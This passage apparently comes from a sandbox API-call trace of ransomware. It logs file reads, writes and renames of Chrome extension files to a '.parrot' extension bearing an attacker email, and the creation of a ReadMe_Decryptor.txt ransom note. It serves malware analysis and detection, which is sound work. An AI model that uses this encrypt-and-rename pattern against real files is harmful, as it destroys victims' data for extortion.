data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69af20 | out: hHeap=0x5b0000) returned 1 [0071.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e640 | out: hHeap=0x5b0000) returned 1 [0071.085] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0071.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.085] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.087] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c84, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.087] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.089] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5b6c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5b6c, lpOverlapped=0x0) returned 1 [0071.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0071.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.090] GetLastError () returned 0x0 [0071.091] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x69a868 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69a9b0 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x69ab98 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a9b0 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x68d248 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69ab98 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x69a868 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x68d248 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5cee58 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x673278 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6747b8 [0071.092] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x673278 | out: hHeap=0x5b0000) returned 1 [0071.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x676780 [0071.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6747b8 | out: hHeap=0x5b0000) returned 1 [0071.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x681240 [0071.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x676780 | out: hHeap=0x5b0000) returned 1 [0071.093] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x673278 [0071.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681240 | out: hHeap=0x5b0000) returned 1 [0071.093] WriteFile (in: hFile=0x27c, lpBuffer=0x673280*, nNumberOfBytesToWrite=0x5c88, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x673280*, lpNumberOfBytesWritten=0x18e024*=0x5c88, lpOverlapped=0x0) returned 1 [0071.093] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x673278 | out: hHeap=0x5b0000) returned 1 [0071.093] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.093] CloseHandle (hObject=0x27c) returned 1 [0071.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.094] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x69a868 [0071.094] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0071.094] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e640 | out: hHeap=0x5b0000) returned 1 [0071.095] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66b238 | out: hHeap=0x5b0000) returned 1 [0071.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0071.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.095] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0071.097] GetFileType (hFile=0x27c) returned 0x1 [0071.097] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0071.108] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c9, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.108] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.110] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5b1, lpOverlapped=0x0) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.110] GetLastError () returned 0x0 [0071.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.110] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x69a868 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x69a9b0 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x69ab98 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a9b0 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x68d248 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69ab98 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x69a868 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x68d248 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.111] WriteFile (in: hFile=0x27c, lpBuffer=0x68d248*, nNumberOfBytesToWrite=0x6d8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x68d248*, lpNumberOfBytesWritten=0x18e024*=0x6d8, lpOverlapped=0x0) returned 1 [0071.111] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0071.112] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.112] CloseHandle (hObject=0x27c) returned 1 [0071.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0071.114] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x69a868 [0071.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0071.115] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a868 | out: hHeap=0x5b0000) returned 1 [0071.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e640 | out: hHeap=0x5b0000) returned 1 [0071.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681240 | out: hHeap=0x5b0000) returned 1 [0071.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0071.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0071.115] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0071.116] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0071.118] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.119] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0071.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.120] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xe0, lpOverlapped=0x0) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0071.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0071.120] GetLastError () returned 0x0 [0071.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0071.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0071.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0071.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.120] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0071.120] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0071.121] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0071.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0071.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0071.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0071.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0071.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0248 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0071.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x208) returned 0x615228 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0248 | out: hHeap=0x5b0000) returned 1 [0071.123] WriteFile (in: hFile=0x27c, lpBuffer=0x615228*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x615228*, lpNumberOfBytesWritten=0x18e024*=0x208, lpOverlapped=0x0) returned 1 [0071.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615228 | out: hHeap=0x5b0000) returned 1 [0071.123] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 